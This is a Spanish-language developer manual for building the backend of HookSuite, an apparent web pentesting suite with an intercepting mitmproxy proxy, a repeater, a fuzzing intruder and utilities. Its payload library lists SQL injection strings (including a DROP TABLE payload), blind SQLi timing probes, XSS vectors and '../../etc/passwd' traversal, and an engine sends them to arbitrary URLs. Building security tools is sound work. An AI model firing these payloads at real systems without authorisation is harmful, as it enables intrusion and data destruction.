

# HookSuite — Manual Técnico P2 Backend

---

**Proyecto:** HookSuite

**Rol:** P2 — Backend / Proxy

**Stack:** Python + FastAPI + WebSockets + httpx + Docker

**Última actualización:** Abril 2026

---

## Antes de empezar

Este manual es tu guía completa de trabajo en el proyecto HookSuite. Está diseñado para que puedas trabajar de forma autónoma desde cualquier lugar y en cualquier momento. Cada paso está detallado al máximo para que no tengas que detenerte a investigar cómo hacer algo.

Cuando un paso requiere que te coordines con otro rol, el manual te lo indica claramente con este bloque:

🧡 **CONTACTO CON P1 Frontend** — Lo que necesitas comunicarle y cuándo.

Cuando un paso es complejo y la IA puede ayudarte, encontrarás este bloque con el prompt listo para copiar y pegar:

🤖 **PROMPT DE IA** — Copia este prompt en Claude Code o Claude.ai y obtendrás exactamente lo que necesitas.

**Aviso importante:** P2 es el rol más crítico del proyecto. El frontend, Playwright, DevTools y el módulo de IA dependen de ti en distintos momentos. Tu prioridad absoluta es tener el servidor base y el WebSocket funcionando cuanto antes, porque P1 no puede conectar datos reales hasta que eso esté listo.

---

## Herramientas que necesitas tener instaladas

Antes de empezar con el paso 1, verifica que tienes todo esto instalado en tu máquina:

- **Python 3.11 o superior** — Verifica con `python --version` en la terminal.
  - **pip** — Verifica con `pip --version`.
  - **Git** — Verifica con `git --version`.
  - **Docker Desktop** — Descarga desde docker.com. Verifica con `docker --version`.
  - **Visual Studio Code** — O el editor que prefieras.
  - **Claude Code** — El cliente de terminal de Anthropic. Úsalo para los prompts de IA de este manual.
  - **Insomnia o Postman** — Para probar los endpoints del backend mientras desarrollas.
- 

## BLOQUE 01 — Servidor base y WebSockets

---

### Paso 1 — Clonar el repositorio y crear tu rama de trabajo

#### 1.1 Abre la terminal y navega a la carpeta donde quieres trabajar.

## 1.2 Clona el repositorio de HookSuite:

```
git clone https://github.com/[URL-DEL-REPO]/hooksuite.git
cd hooksuite
```

## 1.3 Crea tu rama de trabajo:

```
git checkout -b feature/backend
```

## 1.4 Navega a la carpeta del backend:

```
cd backend
```

---

## Paso 2 — Configurar el entorno Python

### 2.1 Crea el entorno virtual de Python:

```
python -m venv venv
```

### 2.2 Activa el entorno virtual:

En Mac/Linux:

```
source venv/bin/activate
```

En Windows:

```
venv\Scripts\activate
```

Sabrás que está activo porque el prompt de la terminal mostrará **(venv)** al principio.

### 2.3 Crea el archivo **requirements.txt** con todas las dependencias del proyecto:

```
fastapi==0.111.0
uvicorn[standard]==0.29.0
websockets==12.0
httpx==0.27.0
python-dotenv==1.0.1
pydantic==2.7.0
```

```
python-multipart==0.0.9
anthropic==0.25.0
```

## 2.4 Instala todas las dependencias:

```
pip install -r requirements.txt
```

## 2.5 Crea el archivo `.env` en la carpeta `backend` (este archivo no se sube a GitHub):

```
ANTHROPIC_API_KEY=tu_api_key_aqui
HOST=0.0.0.0
PORT=8000
PROXY_PORT=8080
```

## 2.6 Crea el archivo `.env.example` que sí se sube al repositorio:

```
ANTHROPIC_API_KEY=your_api_key_here
HOST=0.0.0.0
PORT=8000
PROXY_PORT=8080
```

---

## Paso 3 — Crear la estructura de carpetas del backend

### 3.1 Dentro de la carpeta `backend`, crea la estructura de carpetas:

```
mkdir -p routes
mkdir -p services
mkdir -p models
mkdir -p middleware
```

### 3.2 La estructura final debe quedar así:

```
backend/
├── routes/
│   ├── __init__.py
│   ├── proxy.py           ← Endpoints del proxy interceptor
│   ├── repeater.py        ← Endpoints del repeater
│   ├── intruder.py        ← Endpoints del intruder
│   ├── utils.py           ← Endpoints de utilidades
│   └── network.py         ← Endpoints para paquetes de red
├── services/
│   └── __init__.py
```

```

├── proxy_service.py    ← Lógica del proxy HTTP
├── session_service.py  ← Gestión de sesiones
├── payloads.py         ← Biblioteca de payloads
├── intruder_service.py ← Motor de fuzzing
├── models/
│   ├── __init__.py
│   └── schemas.py      ← Modelos Pydantic
├── middleware/
│   └── __init__.py
├── main.py             ← Punto de entrada de la aplicación
├── requirements.txt
├── .env
├── .env.example
└── Dockerfile

```

### 3.3 Crea todos los archivos `__init__.py` vacíos:

```
touch routes/__init__.py services/__init__.py models/__init__.py
middleware/__init__.py
```

## Paso 4 — Crear el servidor FastAPI base

### 4.1 Crea el archivo `backend/main.py`:

```

from fastapi import FastAPI
from fastapi.middleware.cors import CORSMiddleware
from dotenv import load_dotenv
import os

load_dotenv()

app = FastAPI(
    title="HookSuite API",
    description="Backend del sistema de pentesting HookSuite",
    version="1.0.0"
)

app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],
    allow_credentials=True,
    allow_methods=["*"],
    allow_headers=["*"],
)

@app.get("/health")
async def health():
    return {"status": "ok", "service": "HookSuite Backend"}

```

```
@app.get("/check/alive")
async def check_alive():
    return {"status": "proxy_active"}

from routes import proxy, repeater, intruder, utils, network
app.include_router(proxy.router, prefix="/api/proxy", tags=["proxy"])
app.include_router(repeater.router, prefix="/api/repeater", tags=["repeater"])
app.include_router(intruder.router, prefix="/api/intruder", tags=["intruder"])
app.include_router(utils.router, prefix="/api/utils", tags=["utils"])
app.include_router(network.router, prefix="/api/network", tags=["network"])

if __name__ == "__main__":
    import uvicorn
    uvicorn.run(
        "main:app",
        host=os.getenv("HOST", "0.0.0.0"),
        port=int(os.getenv("PORT", 8000)),
        reload=True
    )
```

**4.2** Crea archivos de rutas vacíos temporales para que el servidor arranque sin errores. Empieza con `routes/proxy.py`:

```
from fastapi import APIRouter
router = APIRouter()
```

Repite lo mismo para `routes/repeater.py`, `routes/intruder.py`, `routes/utils.py` y `routes/network.py`.

**4.3** Verifica que el servidor arranca correctamente:

```
python main.py
```

Abre el navegador en `http://localhost:8000/health`. Debes ver:

```
{"status": "ok", "service": "HookSuite Backend"}
```

Y en `http://localhost:8000/docs` debes ver la documentación automática de FastAPI (Swagger UI).

📌 **CONTACTO CON P1 Frontend** — En cuanto el servidor esté arriba y el endpoint `/health` responda, comunícaselo a P1 con:

- La URL del servidor: `http://localhost:8000`
- Que el endpoint `/check/alive` ya está disponible en `http://localhost:8000/check/alive`

- Que el WebSocket estará disponible en `ws://localhost:8000/ws/{token}` (lo crearás en el siguiente paso)

## Paso 5 — Crear la gestión de sesiones

### 5.1 Crea el archivo `services/session_service.py`:

```
import uuid
from typing import Dict, Any
from fastapi import WebSocket

class SessionManager:
    def __init__(self):
        self.sessions: Dict[str, dict] = {}
        self.websockets: Dict[str, WebSocket] = {}

    def create_session(self) -> str:
        token = str(uuid.uuid4())
        self.sessions[token] = {
            "token": token,
            "requests": [],
            "intruder_status": "idle",
            "intruder_results": [],
            "network_packets": [],
        }
        return token

    def get_session(self, token: str) -> dict:
        if token not in self.sessions:
            self.sessions[token] = {
                "token": token,
                "requests": [],
                "intruder_status": "idle",
                "intruder_results": [],
                "network_packets": [],
            }
        return self.sessions[token]

    def register_websocket(self, token: str, ws: WebSocket):
        self.websockets[token] = ws

    def unregister_websocket(self, token: str):
        if token in self.websockets:
            del self.websockets[token]

    async def emit(self, token: str, event_type: str, payload: Any):
        if token in self.websockets:
            try:
                await self.websockets[token].send_json({
                    "type": event_type,
                    "payload": payload
                })
```

```

    })
    except Exception:
        self.unregister_websocket(token)

    def cleanup_old_sessions(self, max_sessions: int = 100):
        if len(self.sessions) > max_sessions:
            oldest = list(self.sessions.keys())[0]
            del self.sessions[oldest]

session_manager = SessionManager()

```

**5.2** Añade el endpoint de WebSocket a `main.py`. Añade estas líneas después de los imports existentes:

```

from fastapi import WebSocket, WebSocketDisconnect
from services.session_service import session_manager
import asyncio

@app.websocket("/ws/{token}")
async def websocket_endpoint(websocket: WebSocket, token: str):
    await websocket.accept()
    session_manager.get_session(token)
    session_manager.register_websocket(token, websocket)
    try:
        while True:
            await asyncio.sleep(30)
            await websocket.send_json({"type": "ping"})
    except WebSocketDisconnect:
        session_manager.unregister_websocket(token)

@app.get("/api/session/new")
async def new_session():
    token = session_manager.create_session()
    return {"token": token}

```

**5.3** Reinicia el servidor y verifica que el WebSocket funciona. Puedes probarlo desde la consola del navegador:

```

const ws = new WebSocket('ws://localhost:8000/ws/test-token')
ws.onmessage = (e) => console.log(JSON.parse(e.data))

```

Debes recibir mensajes de ping cada 30 segundos.

💖 **CONTACTO CON P1 Frontend** — Comunica a P1 que el WebSocket ya está listo en `ws://localhost:8000/ws/{token}`. El formato del mensaje que emite el servidor es:

```
{ "type": "tipo_de_evento", "payload": { ... } }
```

Los tipos de eventos que emitirás son: `request_intercepted`, `intruder_result`, `vulnerability_detected`, `network_packet`.

#### 5.4 Commit del bloque 01:

```
git add .
git commit -m "feat(backend): servidor FastAPI base con WebSockets y gestión de sesiones"
git push origin feature/backend
```

## BLOQUE 02 — Proxy HTTP Interceptor

Este es el módulo más complejo y más importante del proyecto. Tómalo con calma. Es el corazón de HookSuite.

### Paso 6 — Crear los modelos Pydantic

#### 6.1 Crea el archivo `models/schemas.py`:

```
from pydantic import BaseModel
from typing import Optional, Dict, Any
from datetime import datetime

class ProxyRequest(BaseModel):
    method: str
    url: str
    headers: Dict[str, str] = {}
    body: Optional[str] = None
    session_token: str

class ProxyResponse(BaseModel):
    id: str
    method: str
    url: str
    status: int
    size: int
    time: int
    timestamp: str
    request_headers: Dict[str, str] = {}
    request_body: Optional[str] = None
    response_headers: Dict[str, str] = {}
    response_body: Optional[str] = None
    suspicious: bool = False
    vulnerable: bool = False

class RepeaterRequest(BaseModel):
    method: str
    url: str
```

```
headers: Dict[str, str] = {}
body: Optional[str] = None

class ParseRequest(BaseModel):
    text: str

class IntruderConfig(BaseModel):
    url: str
    injection_point: str
    attack_type: str
    session_token: str
    concurrency: int = 5
    delay_ms: int = 0

class NetworkPacket(BaseModel):
    id: str
    method: str
    url: str
    status: int
    size: int
    time: int
    timestamp: str
    request_headers: Dict[str, str] = {}
    request_body: Optional[str] = None
    response_headers: Dict[str, str] = {}
    response_body: Optional[str] = None
    suspicious: bool = False
    vulnerable: bool = False

class HashRequest(BaseModel):
    text: str

class EncodeRequest(BaseModel):
    text: str
    type: str

class RegexRequest(BaseModel):
    pattern: str
    text: str
    flags: str = "g"
```

---

## Paso 7 — Crear el servicio del proxy HTTP

### 7.1 Crea el archivo `services/proxy_service.py`:

```
import httpx
import uuid
import time
from datetime import datetime
from typing import Optional, Dict
```

```

IGNORED_DOMAINS = [
    'google-analytics.com', 'googletagmanager.com', 'doubleclick.net',
    'facebook.com', 'twitter.com', 'cdn.cloudflare.com',
    'fonts.googleapis.com', 'fonts.gstatic.com', 'ajax.googleapis.com',
]

IGNORED_EXTENSIONS = ['.css', '.woff', '.woff2', '.ttf', '.ico', '.png', '.jpg',
'.gif', '.svg']

def should_filter(url: str) -> bool:
    url_lower = url.lower()
    for domain in IGNORED_DOMAINS:
        if domain in url_lower:
            return True
    for ext in IGNORED_EXTENSIONS:
        if url_lower.split('?')[0].endswith(ext):
            return True
    return False

def is_suspicious(url: str, response_body: str, status: int) -> bool:
    if status >= 500:
        return True
    suspicious_params = ['"', "'", '<', '>', 'UNION', 'SELECT', '--', ';']
    for param in suspicious_params:
        if param in url:
            return True
    error_keywords = ['sql syntax', 'mysql_fetch', 'ORA-', 'pg_query', 'sqlite_']
    body_lower = response_body.lower() if response_body else ''
    for keyword in error_keywords:
        if keyword.lower() in body_lower:
            return True
    return False

async def forward_request(
    method: str,
    url: str,
    headers: Dict[str, str],
    body: Optional[str],
    timeout: int = 30
) -> dict:
    start = time.time()
    request_id = str(uuid.uuid4())

    protected_headers = ['host', 'content-length', 'transfer-encoding',
'connection']
    clean_headers = {k: v for k, v in headers.items() if k.lower() not in
protected_headers}

    try:
        async with httpx.AsyncClient(verify=False, follow_redirects=True,
timeout=timeout) as client:
            response = await client.request(
                method=method,

```

```
        url=url,
        headers=clean_headers,
        content=body.encode() if body else None,
    )

    elapsed_ms = int((time.time() - start) * 1000)

    try:
        response_body = response.text
    except Exception:
        response_body = '[binary content]'

    suspicious = is_suspicious(url, response_body, response.status_code)

    return {
        "id": request_id,
        "method": method,
        "url": url,
        "status": response.status_code,
        "size": len(response.content),
        "time": elapsed_ms,
        "timestamp": datetime.utcnow().isoformat(),
        "request_headers": dict(headers),
        "request_body": body,
        "response_headers": dict(response.headers),
        "response_body": response_body[:50000],
        "suspicious": suspicious,
        "vulnerable": False,
    }

except httpx.TimeoutException:
    return {
        "id": request_id,
        "method": method,
        "url": url,
        "status": 0,
        "size": 0,
        "time": int((time.time() - start) * 1000),
        "timestamp": datetime.utcnow().isoformat(),
        "request_headers": dict(headers),
        "request_body": body,
        "response_headers": {},
        "response_body": "Error: Timeout",
        "suspicious": False,
        "vulnerable": False,
    }

except Exception as e:
    return {
        "id": request_id,
        "method": method,
        "url": url,
        "status": 0,
        "size": 0,
        "time": int((time.time() - start) * 1000),
```

```

        "timestamp": datetime.utcnow().isoformat(),
        "request_headers": dict(headers),
        "request_body": body,
        "response_headers": {},
        "response_body": f"Error: {str(e)}",
        "suspicious": False,
        "vulnerable": False,
    }

```

 **PROMPT DE IA** — Si tienes problemas con el proxy HTTPS o errores de certificado:

Estoy construyendo un proxy HTTP en FastAPI con httpx para el proyecto HookSuite. Cuando intento reenviar peticiones HTTPS recibo este error: [pega el error]. ¿Cómo lo soluciono? El proxy debe poder reenviar tanto HTTP como HTTPS sin validar el certificado del servidor destino.

## Paso 8 — Crear el archivo PAC y el endpoint de verificación

### 8.1 Añade estos endpoints al archivo `routes/proxy.py`:

```

from fastapi import APIRouter, Request, Response
from fastapi.responses import PlainTextResponse
import os

router = APIRouter()

PROXY_HOST = os.getenv("HOST", "localhost")
PROXY_PORT = int(os.getenv("PROXY_PORT", 8080))

@router.get("/proxy.pac", response_class=PlainTextResponse)
async def get_pac_file(request: Request):
    server_host = request.headers.get("host", f"{PROXY_HOST}:{PROXY_PORT}")
    host = server_host.split(":")[0]
    pac_content = f"""function FindProxyForURL(url, host) {{
    if (shExpMatch(host, "localhost")) return "DIRECT";
    if (isInNet(host, "127.0.0.1", "255.255.255.255")) return "DIRECT";
    return "PROXY {host}:{PROXY_PORT}";
}}"""
    return PlainTextResponse(
        content=pac_content,
        media_type="application/x-ns-proxy-autoconfig"
    )

@router.get("/check/alive")
async def check_proxy_alive():
    return {"status": "proxy_active", "message": "HookSuite proxy is running"}

```

## 8.2 Añade también el endpoint principal del proxy que recibe y reenvía peticiones:

```
from fastapi import APIRouter, Request, Response
from fastapi.responses import PlainTextResponse, StreamingResponse
from services.proxy_service import forward_request, should_filter
from services.session_service import session_manager
from models.schemas import ProxyRequest
import os

router = APIRouter()

@router.post("/forward")
async def forward_proxy_request(request: ProxyRequest):
    if should_filter(request.url):
        return {"filtered": True}

    result = await forward_request(
        method=request.method,
        url=request.url,
        headers=request.headers,
        body=request.body,
    )

    session = session_manager.get_session(request.session_token)
    session["requests"].append(result)

    await session_manager.emit(
        request.session_token,
        "request_intercepted",
        result
    )

    return result
```

📌 **CONTACTO CON P1 Frontend** — Cuando el archivo PAC esté listo, comunica a P1:

- La URL del PAC: <http://localhost:8000/proxy.pac> (en local) o [http://\[dominio-hetzner\]/proxy.pac](http://[dominio-hetzner]/proxy.pac) (en producción)
- Que el endpoint de verificación es <http://localhost:8000/check/alive>
- Que P1 puede ahora activar la verificación automática en el onboarding

## Paso 9 — Implementar el proxy TCP real con mitmproxy

El proxy que actúa como intermediario real del navegador necesita escuchar en un puerto separado (8080) y procesar las peticiones del navegador directamente. Esto es lo que diferencia el proxy real del simple reenvío de peticiones.

### 9.1 Añade `mitmproxy` a `requirements.txt`:

```
mitmproxy==10.2.4
```

Instala la nueva dependencia:

```
pip install mitmproxy==10.2.4
```

## 9.2 Crea el archivo `services/mitm_proxy.py`:

```
from mitmproxy import http
from mitmproxy.tools.dump import DumpMaster
from mitmproxy.options import Options
import asyncio
import httpx
import os
from datetime import datetime
import uuid

intercepted_requests = []
session_callbacks = []

class HookSuiteAddon:
    def __init__(self):
        self.request_data = {}

    def request(self, flow: http.HTTPFlow):
        request_id = str(uuid.uuid4())
        flow.request.headers["X-HookSuite-ID"] = request_id
        self.request_data[request_id] = {
            "id": request_id,
            "method": flow.request.method,
            "url": flow.request.pretty_url,
            "request_headers": dict(flow.request.headers),
            "request_body": flow.request.get_text(strict=False),
            "timestamp": datetime.utcnow().isoformat(),
        }

    def response(self, flow: http.HTTPFlow):
        request_id = flow.request.headers.get("X-HookSuite-ID", "")
        if request_id in self.request_data:
            req_data = self.request_data.pop(request_id)
            packet = {
                **req_data,
                "status": flow.response.status_code,
                "size": len(flow.response.content),
                "time": int(flow.response.elapsed.total_seconds() * 1000) if
flow.response.elapsed else 0,
                "response_headers": dict(flow.response.headers),
                "response_body": flow.response.get_text(strict=False)[:50000],
            }
```

```

        "suspicious": False,
        "vulnerable": False,
    }
    intercepted_requests.append(packet)
    for callback in session_callbacks:
        asyncio.create_task(callback(packet))

async def start_proxy(port: int = 8080):
    opts = Options(listen_host="0.0.0.0", listen_port=port)
    master = DumpMaster(opts, with_termlog=False, with_dumper=False)
    master.addons.add(HookSuiteAddon())
    await master.run()

```

**9.3** Añade el arranque del proxy en `main.py`. Añade estas líneas al final del archivo, antes del bloque `if __name__ == "__main__":`:

```

from contextlib import asynccontextmanager
from services.mitm_proxy import start_proxy

@asynccontextmanager
async def lifespan(app: FastAPI):
    proxy_port = int(os.getenv("PROXY_PORT", 8080))
    asyncio.create_task(start_proxy(proxy_port))
    print(f"✓ Proxy TCP escuchando en puerto {proxy_port}")
    yield

app = FastAPI(title="HookSuite API", lifespan=lifespan)

```

 **PROMPT DE IA** — Si tienes problemas arrancando mitmproxy junto con FastAPI:

Estoy intentando arrancar mitmproxy como una tarea asyncio junto con FastAPI usando el lifecycle de la aplicación. Tengo este error: [pega el error]. Necesito que mitmproxy escuche en el puerto 8080 mientras FastAPI corre en el 8000. ¿Cómo lo configuro correctamente?

## Paso 10 — Conectar el proxy con el WebSocket

Cuando el proxy intercepta una petición, tiene que emitir un evento WebSocket al frontend del usuario correspondiente.

**10.1** Actualiza `services/mitm_proxy.py` para que emita eventos al WebSocket:

```

from services.session_service import session_manager
from services.proxy_service import is_suspicious

class HookSuiteAddon:

```

```

def __init__(self):
    self.request_data = {}
    self.session_map = {}

def request(self, flow: http.HTTPFlow):
    request_id = str(uuid.uuid4())
    flow.request.headers["X-HookSuite-ID"] = request_id

    session_cookie = flow.request.cookies.get("hooksuite_session", "")
    self.request_data[request_id] = {
        "id": request_id,
        "method": flow.request.method,
        "url": flow.request.pretty_url,
        "request_headers": dict(flow.request.headers),
        "request_body": flow.request.get_text(strict=False),
        "timestamp": datetime.utcnow().isoformat(),
        "session_token": session_cookie,
    }

def response(self, flow: http.HTTPFlow):
    request_id = flow.request.headers.get("X-HookSuite-ID", "")
    if request_id not in self.request_data:
        return

    req_data = self.request_data.pop(request_id)
    response_body = flow.response.get_text(strict=False)[:50000]

    packet = {
        **req_data,
        "status": flow.response.status_code,
        "size": len(flow.response.content),
        "time": int(flow.response.elapsed.total_seconds() * 1000) if
flow.response.elapsed else 0,
        "response_headers": dict(flow.response.headers),
        "response_body": response_body,
        "suspicious": is_suspicious(req_data["url"], response_body,
flow.response.status_code),
        "vulnerable": False,
    }

    session_token = req_data.get("session_token", "")
    if session_token:
        asyncio.create_task(
            session_manager.emit(session_token, "request_intercepted", packet)
        )

```

## 10.2 Commit del bloque 02:

```

git add .
git commit -m "feat(backend): proxy HTTP interceptor con PAC, mitmproxy y

```

```
WebSocket"
git push origin feature/backend
```

---

## BLOQUE 03 — Repeater

---

### Paso 11 — Crear el endpoint de reenvío manual

#### 11.1 Reemplaza el contenido de `routes/repeater.py`:

```
from fastapi import APIRouter
from models.schemas import RepeaterRequest, ParseRequest
from services.proxy_service import forward_request
from services.session_service import session_manager
import re

router = APIRouter()

@router.post("/send")
async def send_request(request: RepeaterRequest):
    result = await forward_request(
        method=request.method,
        url=request.url,
        headers=request.headers,
        body=request.body,
    )
    return result

@router.post("/parse")
async def parse_request(parse_request: ParseRequest):
    text = parse_request.text.strip()

    if text.startswith("curl"):
        return parse_curl(text)
    else:
        return parse_raw_http(text)

def parse_raw_http(text: str) -> dict:
    lines = text.split('\n')
    first_line = lines[0].strip().split(' ')
    method = first_line[0] if len(first_line) > 0 else 'GET'
    path = first_line[1] if len(first_line) > 1 else '/'

    headers = {}
    host = ''
    body_start = 0

    for i, line in enumerate(lines[1:], 1):
        if line.strip() == '':
            body_start = i + 1
```

```

        break
    if ':' in line:
        key, value = line.split(':', 1)
        headers[key.strip()] = value.strip()
        if key.strip().lower() == 'host':
            host = value.strip()

body = '\n'.join(lines[body_start:]).strip() if body_start > 0 else None

protocol = 'https' if ':443' in host else 'http'
url = f"{protocol}://{host}{path}" if host else path

return {
    "method": method,
    "url": url,
    "headers": headers,
    "body": body or None,
}

def parse_curl(text: str) -> dict:
    method = 'GET'
    url = ''
    headers = {}
    body = None

    method_match = re.search(r'-X\s+(\w+)', text)
    if method_match:
        method = method_match.group(1)

    url_match = re.search(r"curl\s+(?:-[\^s]+\s+)*'\?\'?([\^\"\\s]+)'\?\'?", text)
    if url_match:
        url = url_match.group(1)

    header_matches = re.findall(r"-H\s+'([\^']+)'|-H\s+\"([\^\"]+)\"\"", text)
    for match in header_matches:
        header_str = match[0] or match[1]
        if ':' in header_str:
            key, value = header_str.split(':', 1)
            headers[key.strip()] = value.strip()

    body_match = re.search(r"(?:-d|--data)\s+'([\^']+)'|(?:-d|--data)\s+\"([\^\"]+)\"\"", text)
    if body_match:
        body = body_match.group(1) or body_match.group(2)
        if not method_match:
            method = 'POST'

    return {
        "method": method,
        "url": url,
        "headers": headers,
        "body": body,
    }

```

```
@router.get("/history/{token}")
async def get_history(token: str):
    session = session_manager.get_session(token)
    return session.get("requests", [])[ -100:]
```

 **PROMPT DE IA** — Si el parser de raw HTTP o cURL no funciona con un formato específico:

Tengo esta función Python que parsea peticiones HTTP en formato raw y cURL para el proyecto HookSuite. Cuando le paso esta petición: [pega la petición] el resultado es incorrecto: [describe qué devuelve]. ¿Cómo corrijo el parser?

## Paso 12 — Commit del bloque Repeater

```
git add .
git commit -m "feat(backend): endpoints del repeater con parser raw HTTP y cURL"
git push origin feature/backend
```

## BLOQUE 04 — Intruder / Motor de fuzzing

### Paso 13 — Crear la biblioteca de payloads

#### 13.1 Crea el archivo `services/payloads.py`:

```
PAYLOADS = {
    "sqli": [
        "' OR '1'='1",
        "' OR '1'='1'--",
        "' OR '1'='1'/*",
        "admin'--",
        "admin' #",
        "1 UNION SELECT null--",
        "1 UNION SELECT null,null--",
        "1 UNION SELECT null,null,null--",
        "' AND 1=0 UNION SELECT null,null--",
        "1; DROP TABLE users--",
        "1 OR 1=1",
        "' OR 'x'='x",
        "') OR ('x'='x",
    ],
    "blind_sqli": [
        "1' AND 1=1--",
        "1' AND 1=2--",
        "1' AND SUBSTRING((SELECT database()),1,1)='a'--",
    ]
}
```

```

        "1' AND SUBSTRING((SELECT database()),1,1)='b'--",
        "1' AND LENGTH(database())>1--",
        "1' AND LENGTH(database())>5--",
        "1' AND LENGTH(database())>10--",
        "1 AND SLEEP(5)--",
        "1'; WAITFOR DELAY '0:0:5'--",
    ],
    "xss": [
        "<script>alert(1)</script>",
        "<img src=x onerror=alert(1)>",
        "'><script>alert(1)</script>'",
        "<svg onload=alert(1)>",
        "javascript:alert(1)",
        "<body onload=alert(1)>",
        "'-alert(1)-'",
        "'-alert(1)-'",
        "<iframe src=javascript:alert(1)>",
        "<%2Fscript><script>alert(1)<%2Fscript>",
    ],
    "fuzzing": [
        "'",
        '"',
        '<',
        '>',
        '&',
        ';',
        '|',
        '`',
        '..',
        '../',
        '../../etc/passwd',
        '%00',
        'null',
        'undefined',
        '${7*7}',
        '{{7*7}}',
        'a' * 1000,
        '%' * 100,
    ],
},

def get_payloads(attack_type: str) -> list:
    return PAYLOADS.get(attack_type, PAYLOADS["fuzzing"])

```

## Paso 14 — Crear el motor de fuzzing

### 14.1 Crea el archivo `services/intruder_service.py`:

```

import asyncio
import httpx
import time

```

```

from typing import Optional
from services.payloads import get_payloads
from services.session_service import session_manager
from services.proxy_service import is_suspicious

class IntruderEngine:
    def __init__(self):
        self.active_tasks = {}

    async def run_attack(
        self,
        session_token: str,
        url: str,
        injection_point: str,
        attack_type: str,
        concurrency: int = 5,
        delay_ms: int = 0,
    ):
        session = session_manager.get_session(session_token)
        session["intruder_status"] = "running"
        session["intruder_results"] = []

        payloads = get_payloads(attack_type)
        semaphore = asyncio.Semaphore(concurrency)

        await session_manager.emit(session_token, "intruder_started", {
            "total": len(payloads),
            "attack_type": attack_type,
        })

        async def test_payload(index: int, payload: str):
            async with semaphore:
                if session.get("intruder_status") != "running":
                    return

                if delay_ms > 0:
                    await asyncio.sleep(delay_ms / 1000)

                injected_url = url.replace(f"{injection_point}=", f"
{injection_point}={payload}", 1)
                if injection_point not in url:
                    injected_url = url + ("&" if "?" in url else "?") + f"
{injection_point}={payload}"

                start = time.time()
                try:
                    async with httpx.AsyncClient(verify=False, timeout=15) as
client:
                        response = await client.get(injected_url)
                        elapsed = int((time.time() - start) * 1000)

                        try:
                            body = response.text
                        except Exception:

```

```
        body = ''

        suspicious = is_suspicious(injected_url, body,
response.status_code)

        result = {
            "id": index,
            "payload": payload,
            "url": injected_url,
            "status": response.status_code,
            "size": len(response.content),
            "time": elapsed,
            "suspicious": suspicious,
            "vulnerable": False,
        }

    except Exception as e:
        result = {
            "id": index,
            "payload": payload,
            "url": injected_url,
            "status": 0,
            "size": 0,
            "time": int((time.time() - start) * 1000),
            "suspicious": False,
            "vulnerable": False,
            "error": str(e),
        }

    session["intruder_results"].append(result)
    await session_manager.emit(session_token, "intruder_result", {
        **result,
        "progress": index,
        "total": len(payloads),
    })

    tasks = [test_payload(i + 1, payload) for i, payload in
enumerate(payloads)]
    await asyncio.gather(*tasks)

    if session.get("intruder_status") == "running":
        session["intruder_status"] = "completed"
        await session_manager.emit(session_token, "intruder_completed", {
            "total_results": len(session["intruder_results"]),
        })

def pause(self, session_token: str):
    session = session_manager.get_session(session_token)
    session["intruder_status"] = "paused"

def cancel(self, session_token: str):
    session = session_manager.get_session(session_token)
    session["intruder_status"] = "cancelled"
```

```
intruder_engine = IntruderEngine()
```

## Paso 15 — Crear los endpoints del Intruder

### 15.1 Reemplaza el contenido de `routes/intruder.py`:

```
from fastapi import APIRouter, BackgroundTasks
from models.schemas import IntruderConfig
from services.intruder_service import intruder_engine
from services.payloads import get_payloads
from services.session_service import session_manager

router = APIRouter()

@router.post("/start")
async def start_attack(config: IntruderConfig, background_tasks: BackgroundTasks):
    background_tasks.add_task(
        intruder_engine.run_attack,
        session_token=config.session_token,
        url=config.url,
        injection_point=config.injection_point,
        attack_type=config.attack_type,
        concurrency=config.concurrency,
        delay_ms=config.delay_ms,
    )
    return {"status": "started", "message": "Ataque iniciado en segundo plano"}

@router.post("/pause/{token}")
async def pause_attack(token: str):
    intruder_engine.pause(token)
    return {"status": "paused"}

@router.post("/resume/{token}")
async def resume_attack(token: str):
    session = session_manager.get_session(token)
    session["intruder_status"] = "running"
    return {"status": "resumed"}

@router.post("/cancel/{token}")
async def cancel_attack(token: str):
    intruder_engine.cancel(token)
    return {"status": "cancelled"}

@router.get("/results/{token}")
async def get_results(token: str):
    session = session_manager.get_session(token)
    return {
        "status": session.get("intruder_status", "idle"),
        "results": session.get("intruder_results", []),
    }
```

```

    }

    @router.get("/payloads/{attack_type}")
    async def get_payloads_list(attack_type: str):
        return {"payloads": get_payloads(attack_type)}

```

## 15.2 Commit del bloque 04:

```

git add .
git commit -m "feat(backend): intruder con motor de fuzzing asíncrono y biblioteca de payloads"
git push origin feature/backend

```

 **PROMPT DE IA** — Si el motor de fuzzing no gestiona bien la concurrencia o se queda colgado:

Tengo un motor de fuzzing en Python con asyncio y httpx para el proyecto HookSuite. El motor lanza múltiples peticiones en paralelo con asyncio.Semaphore. El problema es que [describe el problema: se queda colgado / no respeta el límite de concurrencia / las tareas no terminan]. Aquí está el código: [pega el código]. ¿Cómo lo soluciono?

# BLOQUE 05 — Utilidades del backend

## Paso 16 — Crear los endpoints de utilidades

### 16.1 Reemplaza el contenido de `routes/utils.py`:

```

from fastapi import APIRouter
from models.schemas import HashRequest, EncodeRequest, RegexRequest
import hashlib
import base64
import urllib.parse
import html
import re

router = APIRouter()

@router.post("/hash")
async def generate_hashes(request: HashRequest):
    text_bytes = request.text.encode('utf-8')
    return {
        "md5": hashlib.md5(text_bytes).hexdigest(),
        "sha1": hashlib.sha1(text_bytes).hexdigest(),
        "sha256": hashlib.sha256(text_bytes).hexdigest(),
        "sha512": hashlib.sha512(text_bytes).hexdigest(),
    }

```

```
}

@router.post("/encode")
async def encode_decode(request: EncodeRequest):
    text = request.text
    encode_type = request.type

    try:
        if encode_type == "base64_encode":
            result = base64.b64encode(text.encode()).decode()
        elif encode_type == "base64_decode":
            result = base64.b64decode(text.encode()).decode()
        elif encode_type == "url_encode":
            result = urllib.parse.quote(text)
        elif encode_type == "url_decode":
            result = urllib.parse.unquote(text)
        elif encode_type == "html_encode":
            result = html.escape(text)
        elif encode_type == "html_decode":
            result = html.unescape(text)
        else:
            result = f"Tipo no soportado: {encode_type}"

        return {"result": result, "type": encode_type}

    except Exception as e:
        return {"error": str(e), "type": encode_type}

@router.post("/regex")
async def test_regex(request: RegexRequest):
    try:
        python_flags = 0
        if 'i' in request.flags:
            python_flags |= re.IGNORECASE
        if 'm' in request.flags:
            python_flags |= re.MULTILINE
        if 's' in request.flags:
            python_flags |= re.DOTALL

        pattern = re.compile(request.pattern, python_flags)
        matches = []

        for match in pattern.finditer(request.text):
            matches.append({
                "match": match.group(),
                "start": match.start(),
                "end": match.end(),
                "groups": list(match.groups()),
            })

        return {
            "matches": matches,
            "count": len(matches),
            "error": None,
        }
```

```

    }
